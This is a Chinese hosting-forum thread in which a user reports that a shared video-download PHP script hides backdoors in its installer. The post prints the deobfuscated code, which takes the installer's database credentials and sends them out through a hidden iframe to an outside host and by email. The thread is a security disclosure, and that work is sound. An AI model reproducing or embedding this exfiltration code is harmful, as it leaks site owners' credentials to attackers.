全球主机交流论坛

 找回密码
 注册

QQ登录

只需一步,快速开始

CeraNetworks网络延迟测速工具IP归属甄别会员请立即修改密码
查看: 4106|回复: 36

关于某大佬发的[视频下载解析源码]可能含有后门的警告

[复制链接]
发表于 2019-12-7 20:26:42 | 显示全部楼层 |阅读模式
本帖最后由 flyqie 于 2019-12-7 20:46 编辑

大佬帖子:
https://www.hostloc.com/thread-620400-1-1.html
分析:
install/database_details.php :


install/includes/encrypt.php:

加密?混淆?没关系,写个php破解下(字数超限):
https://pastebin.com/7x1PkQrb
好的,跑出来了:
  1. 正在进行第1次操作
  2. 第1次操作完毕
  3. 正在进行第2次操作
  4. 第2次操作完毕
  5. 正在进行第3次操作
  6. 第3次操作完毕
  7. 正在进行第4次操作
  8. 第4次操作完毕
  9. 正在进行第5次操作
  10. 第5次操作完毕
  11. 正在进行第6次操作
  12. 第6次操作完毕
  13. 正在进行第7次操作
  14. 第7次操作完毕
  15. 正在进行第8次操作
  16. 第8次操作完毕
  17. 正在进行第9次操作
  18. 第9次操作完毕
  19. 正在进行第10次操作
  20. 第10次操作完毕
  21. 正在进行第11次操作
  22. 第11次操作完毕
  23. 正在进行第12次操作
  24. 第12次操作完毕
  25. 正在进行第13次操作
  26. 第13次操作完毕
  27. 正在进行第14次操作
  28. 第14次操作完毕
  29. 正在进行第15次操作
  30. 第15次操作完毕
  31. 正在进行第16次操作
  32. 第16次操作完毕
  33. 正在进行第17次操作
  34. 已解密疑似内容,内容为[
  35. $timezone_name = date_default_timezone_set('Asia/Kolkata');
  36.                                         $ip_mail = getenv('HTTP_CLIENT_IP')?:
  37.                                         getenv('HTTP_X_FORWARDED_FOR')?:
  38.                                         getenv('HTTP_X_FORWARDED')?:
  39.                                         getenv('HTTP_FORWARDED_FOR')?:
  40.                                         getenv('HTTP_FORWARDED')?:
  41.                                         getenv('REMOTE_ADDR');
  42.                                        

  43.                                        
  44.                                         $validation_ip = $ip_mail;
  45.                                        
  46.                                         date_default_timezone_set('Asia/Kolkata');
  47.                                                 $date_1 = date("d-m-Y");
  48.                                                 $date_2 = " ";
  49.                                                 $date_3 = date("h:i:sa");
  50.                                                
  51.                                         $date = $date_1 . $date_2 . $date_3;
  52.                                         $validation_date = $date;
  53.                                        
  54.                                         $validation_url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
  55.                                         $to = "admin@hexcody.com, shinypearl42@hotmail.com";
  56.                                         $subject = "HTML email";
  57.                                        
  58.                                        
  59.                                         $rand_num_1                = rand(254651,35153514);
  60.                                         $rand_num_2                = rand(682734,85214651);
  61.                                         $rand_num_3                = rand(663221,63147895);
  62.                                         $install_code         = $rand_num_1 . $rand_num_2 . $rand_num_3;
  63.                                         $host_name                 = $_SESSION["server"];                        //1
  64.                                         $host_db_name        = $_SESSION["database"];                //2
  65.                                         $host_db_user        = $_SESSION["username"];                //3
  66.                                         $host_db_pass        = $_SESSION["password"];                //4
  67.                                         $url                         = $validation_url;                                //5
  68.                                                 $date_1 = date("d-m-Y");
  69.                                                 $date_2 = " ";
  70.                                                 $date_3 = date("h:i:sa");
  71.                                         $date_created         = $date_1 . $date_2 . $date_3;        //6
  72.                                        
  73.                                        
  74.                                         $html_2 = '

  75.                                                                         <!DOCTYPE html>
  76.                                                                         <html lang="en">
  77.                                                                         <head>
  78.                                                                           <meta charset="utf-8">
  79.                                                                           <meta name="viewport" content="width=device-width, initial-scale=1">
  80.                                                                         <style>
  81.                                                                         iframe.hidden
  82.                                                                         {
  83.                                                                         display:none
  84.                                                                         }
  85.                                                                          </style>
  86.                                                                         </head>
  87.                                                                         <body>
  88.                                                                         <iframe class="hidden" src="https://www.sifylab.com/apps/hexcody/1_global/web_install_host.php?pass=prettysecret24&install_code='.$install_code.'&host_name='.$host_name.'&host_db_name='.$host_db_name.'&host_db_user='.$host_db_user.'&host_db_pass='.$host_db_pass.'&url='.$url.'&date_created='.$date_created.'"></iframe>
  89.                                                                         </body>
  90.                                                                         </html>

  91.                                                 ';
  92.                                                 echo $html_2;

  93.                                                
  94.                                                

  95.                                         $message_mail = "
  96.                                         <html>
  97.                                         <head>
  98.                                         <title>HTML email</title>
  99.                                         </head>
  100.                                         <body>
  101.                                         <p>Hosting Install Info</p>
  102.                                         <br/><br/> <h3><font color = 'red' >Hosting Details : </font></h3><br/><br/> Host : ".$_SESSION["server"]." <br/> Database : ".$_SESSION["database"]." <br/> Username : ".$_SESSION["username"]." <br/> Password : ".$_SESSION["password"]." <br/> Url : ".$validation_url." <br/><br/> Date : ".$validation_date." <br/> TimeZone : ".$timezone_name." <br/><br/> Location IP : ".$validation_ip." <br/><br/>Install Code : ".$install_code."<br/><br/>
  103.                                        
  104.                                         <h3>Poison Successfully Injected</h3>
  105.                                        
  106.                                         </body>
  107.                                         </html>
  108.                                         ";

  109.                                         // Always set content-type when sending HTML email
  110.                                         $headers = "MIME-Version: 1.0" . "\r\n";
  111.                                         $headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";

  112.                                         // More headers
  113.                                         $headers .= 'From: <admin@hexcody.com>' . "\r\n";
  114.                                         $headers .= 'Cc: admin@hexcody.com' . "\r\n";

  115.                                         mail($to,$subject,$message_mail,$headers);
  116. ]
复制代码

代码还原出来了,整理一下(字数超限):
https://pastebin.com/gmGVEfHA
到此,分析完毕,该源码可能会导致安装者站点关键信息泄露.
但我相信,loc大佬是清白的,初衷是为了分享,也没有想到可能会有后门.
本人技术有限,如有错误,恳请指出,谢谢!
-------------------------------------------------------------------
更新:
又发现后门(注释上写的后门文件是在后续解密已加密文件后得出结论的,注释写于解密分析已加密文件完毕后):
install/website_details_settings.php :

install/includes/fncrypt.php :
emmmm混淆了

加密方式如出一辙,继续用之前的php解密跑一遍(字数超限):
https://pastebin.com/94Be5DTv
格式化分析一下(字数超限):
https://pastebin.com/sFn0cR0E
到此,第二轮分析完毕,该源码可能会导致站点管理员信息泄露.
还是那句话:
我相信,loc大佬是清白的,初衷是为了分享,也没有想到可能会有后门.
本人技术有限,如有错误,恳请指出,谢谢!
发表于 2019-12-7 20:42:41 | 显示全部楼层
后门好像挺多的

点评

@ 1,版主给楼主加分。2,版主去处理一下诈骗犯。  发表于 2019-12-8 10:47
发表于 2019-12-7 20:29:46 | 显示全部楼层
前排围观大佬在线解密啊
发表于 2019-12-7 20:32:40 | 显示全部楼层
不懂,顶上去让更多大佬看到
发表于 2019-12-7 20:35:04 | 显示全部楼层
发表于 2019-12-7 20:36:37 | 显示全部楼层
前排 围观下
发表于 2019-12-7 20:43:25 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2019-12-7 20:44:19 来自手机 | 显示全部楼层
揭秘贴要支持阿哈哈
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|全球主机交流论坛

GMT+8, 2024-4-20 00:30 , Processed in 0.067789 second(s), 10 queries , Gzip On, MemCache On.

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表